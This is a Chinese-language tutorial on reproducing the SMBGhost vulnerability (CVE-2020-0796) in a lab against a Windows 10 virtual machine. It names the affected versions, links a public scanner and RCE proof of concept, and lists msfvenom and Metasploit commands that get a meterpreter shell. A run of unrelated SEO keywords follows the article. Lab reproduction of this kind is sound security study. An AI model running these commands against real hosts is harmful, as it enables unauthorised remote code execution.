千家信息网

如何实现CVE-2020-0796漏洞复现

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,如何实现CVE-2020-0796漏洞复现,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。一、CVE-2020-0796简介0x01 漏洞
千家信息网最后更新 2026年10月31日如何实现CVE-2020-0796漏洞复现

如何实现CVE-2020-0796漏洞复现,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

一、CVE-2020-0796简介

0x01 漏洞简介

CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的;在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码,该漏洞类似于永恒之蓝。

漏洞危害等级:高

0x02 影响版本

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows Server, Version 1903 (Server Core installation)

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows Server, Version 1909 (Server Core installation)

二、实验环境

靶机:存在漏洞的win10虚拟机环境,系统镜像:

ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/

ip地址:192.168.117.150

安装镜像后的注意事项:

· 将windows10的防火墙关掉,使能互相ping通

· 将window10的自动更新关掉,避免漏洞被打补丁

检测工具:

https://github.com/dickens88/cve-2020-0796-scanner

getshell代码:

https://github.com/chompie1337/SMBGhost_RCE_PoC

攻击机:kali

ip地址:192.168.117.132

三、复现过程

1、先用检测代码对目标主机进行扫描,发现存在漏洞

python3 cve-2020-0796-scanner.py -t 192.168.117.150

2.使用msfvenom命令生成shellcode代码

msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt

将生成的shellcode.txt中的代码替换getshell代码中exploit.py中的USER_PAYLOAD部分

3.开启kali中的msf使用handler模块开启监听

msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.117.150set lport 3333run

4.运行修改好的漏洞利用代码:

python3 exploit.py -ip 192.168.117.150

5.发现在msf控制台成功获得反弹shell

6.发现有乱码,使用chcp 65001显示正常

至此复现完成

四、发生的错误

· 修改后的源码有些错误需要改

看完上述内容,你们掌握如何实现CVE-2020-0796漏洞复现的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

漏洞 代码 内容 地址 数据 方法 更多 环境 目标 简介 系统 错误 镜像 长度 问题 攻击 检测 生成 合法 束手无策 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 上海卓越科技互联网 互联网科技公司起名 鑫亿盛互联网科技 上海喔噻互联网科技 腾讯科技 互联网女皇 中盈科技互联网信息有限公司 天速互联网络科技有限公司 哈尔滨新华互联网科技学院 随着互联网科技发展 现代互联网科技股 厦门比较好的科技互联网公司 宝灵互联网科技有限公司 赶超互联网科技 微信多开 美国互联网科技实力 厦门江牛科技互联网 米泉互联网科技专业怎么样 恒生科技指数 中概互联网 山东蛋芒互联网科技有限公司 安徽九吞吴互联网科技有限公司 中国主要互联网科技公司 湖南永感互联网科技有限公司 厦门中拓互联网络科技有限公司 上海互联网科技有限公司 万达互联网科技 天速互联网络科技有限公司 互联网科技中介 山东有哪些互联网科技公司 互联网科技股为什么大涨 万物互联网智能科技 科技信息时代互联网发展
0